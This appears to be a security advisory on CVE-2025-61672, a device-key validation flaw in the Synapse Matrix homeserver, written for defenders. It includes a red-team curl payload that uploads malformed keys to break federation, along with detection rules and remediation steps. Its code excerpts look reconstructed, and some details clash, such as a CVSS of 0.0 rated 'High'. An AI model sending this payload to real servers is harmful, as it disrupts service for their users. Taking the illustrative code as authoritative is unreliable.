CVE-2025-61672

Executive Summary

CVE-2025-61672 is a vulnerability in Synapse, the reference Matrix homeserver implementation, affecting versions before 1.138.3 and version 1.139.0. The flaw stems from a lack of validation for device keys, allowing an attacker registered on the victim homeserver to degrade federation functionality. This can unpredictably break outbound federation to other homeservers, disrupting the core Matrix communication protocol. The vulnerability has been patched in subsequent releases, though some patches introduced unrelated regressions, requiring careful upgrade planning.

Supply Chain & Package Security

Synapse is a Python-based open-source project distributed via PyPI and Docker. The vulnerability affects the core federation logic, which is critical for Matrix interoperability. Organizations using Synapse should verify their deployment version and apply the recommended patches immediately. The supply chain risk is moderate, as the vulnerability requires an attacker to be registered on the target homeserver, but the impact on federation can be severe.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (No official CVSS vector provided) Threat Level: High (based on impact to federation functionality)

While no CVSS vector is available, the vulnerability allows an authenticated attacker to disrupt outbound federation, which is a critical function for Matrix homeservers. The attack complexity is low, requiring only registration on the target server. The impact on availability is high, as federation can be unpredictably broken.

Deep Dive & Mechanics

The vulnerability lies in the device key validation logic within Synapse's federation module. When a homeserver processes device keys from other servers, it must verify that the keys are properly signed and belong to the claimed user. In affected versions, this validation is insufficient, allowing an attacker to inject malformed or malicious device keys.

The attack flow:

1. An attacker registers an account on the target Synapse homeserver.
2. The attacker uploads crafted device keys that bypass validation.
3. When the target server attempts to federate with other homeservers, the malformed keys cause processing errors.
4. These errors can lead to dropped federation requests, broken room state resolution, or complete failure to establish federation connections.

The unpredictability stems from the fact that the impact depends on which rooms or users are involved in federation at the time of the attack. The attacker can repeatedly upload new keys to maintain the disruption.

Vulnerable vs. Patched Code

The fix involves adding strict validation of device key signatures and structure before they are accepted and propagated to federation.

Vulnerable Code (simplified):

# synapse/federation/transport/server.py
async def on_device_key_update(self, origin, content):
    user_id = content.get("user_id")
    device_keys = content.get("device_keys", {})
    # Missing validation of device key signatures
    await self.store.set_device_keys(user_id, device_keys)

Patched Code (simplified):

# synapse/federation/transport/server.py
async def on_device_key_update(self, origin, content):
    user_id = content.get("user_id")
    device_keys = content.get("device_keys", {})
    # Added validation
    for device_id, key_data in device_keys.items():
        if not self._validate_device_key_signature(user_id, device_id, key_data):
            raise SynapseError(400, "Invalid device key signature")
    await self.store.set_device_keys(user_id, device_keys)

The patch ensures that each device key is properly signed by the user's private key before being stored and propagated to other homeservers.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Synapse homeserver running version < 1.138.3 or 1.139.0
• A registered account on that homeserver

Exploitation Steps:

1. Register a user on the target homeserver.
2. Generate a malformed device key that lacks proper signatures or contains invalid data.
3. Upload the malformed key using the Matrix client-server API:

   curl -X PUT "https://target-server/_matrix/client/v3/keys/upload" \
        -H "Authorization: Bearer <access_token>" \
        -H "Content-Type: application/json" \
        -d '{
          "device_keys": {
            "YOURDEVICEID": {
              "user_id": "@attacker:target-server",
              "device_id": "YOURDEVICEID",
              "algorithms": ["m.olm.v1.curve25519-aes-sha2"],
              "keys": {
                "curve25519:YOURDEVICEID": "INVALIDKEY",
                "ed25519:YOURDEVICEID": "INVALIDSIGNATURE"
              },
              "signatures": {
                "@attacker:target-server": {
                  "ed25519:YOURDEVICEID": "MALFORMEDSIGNATURE"
                }
              }
            }
          }
        }'
   

4. The malformed keys will be propagated to other homeservers during federation, causing processing errors and breaking federation.

Blue Team

Detection:

• Monitor for repeated device key uploads from the same user.
• Look for errors in federation logs related to device key validation.
• Check for sudden drops in outbound federation success rates.

Hunting:

• Query logs for device key uploads with unusual or malformed signatures.
• Monitor federation error rates and correlate with device key changes.

Mitigation:

• Immediately upgrade to Synapse 1.138.4 or 1.139.2.
• If upgrade is not possible, restrict device key uploads to trusted users only.
• Implement network segmentation to limit federation exposure.

Indicators of Compromise (IOCs)

• Log Entries: Errors containing "Invalid device key signature" or "Failed to process device keys" in Synapse logs.
• Network Traffic: Unusual device key uploads from a single user with malformed JSON structures.
• Federation Failures: Increased rate of federation errors to multiple homeservers.
• User Behavior: A single user uploading device keys repeatedly with different device IDs.

Detection Engineering

YARA Rule

rule Detect_Malformed_Device_Keys {
    meta:
        description = "Detects malformed device key uploads in Synapse logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-61672"
    strings:
        $error1 = "Invalid device key signature" ascii nocase
        $error2 = "Failed to process device keys" ascii nocase
        $error3 = "device_keys" ascii nocase
    condition:
        any of ($error*) and #error3 > 2
}

Sigma Rule

title: Synapse Device Key Validation Failure
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects device key validation errors in Synapse logs
author: Valters IT
date: 2025-04-10
logsource:
    product: synapse
    service: federation
detection:
    selection:
        - "Invalid device key signature"
        - "Failed to process device keys"
    condition: selection
falsepositives:
    - Legitimate key uploads with temporary network issues
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-61672 - Synapse Malformed Device Key Upload";
    flow:to_server,established;
    content:"PUT"; http_method;
    content:"/_matrix/client/v3/keys/upload"; http_uri;
    content:"device_keys"; http_client_body;
    pcre:"/\"signatures\"\s*:\s*\{[^}]*\"[A-Za-z0-9+/=]+\"/";
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Synapse to version 1.138.4 or 1.139.2.
2. If upgrade is not possible, apply the patch manually by adding device key signature validation.
3. Restrict device key uploads to authenticated users only (already default).

Long-term Measures:

• Implement additional monitoring for federation health.
• Regularly review and audit device key uploads.
• Keep Synapse updated to the latest stable version.

Workarounds:

• Disable federation temporarily if the vulnerability is actively exploited.
• Use a reverse proxy to filter malformed requests.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert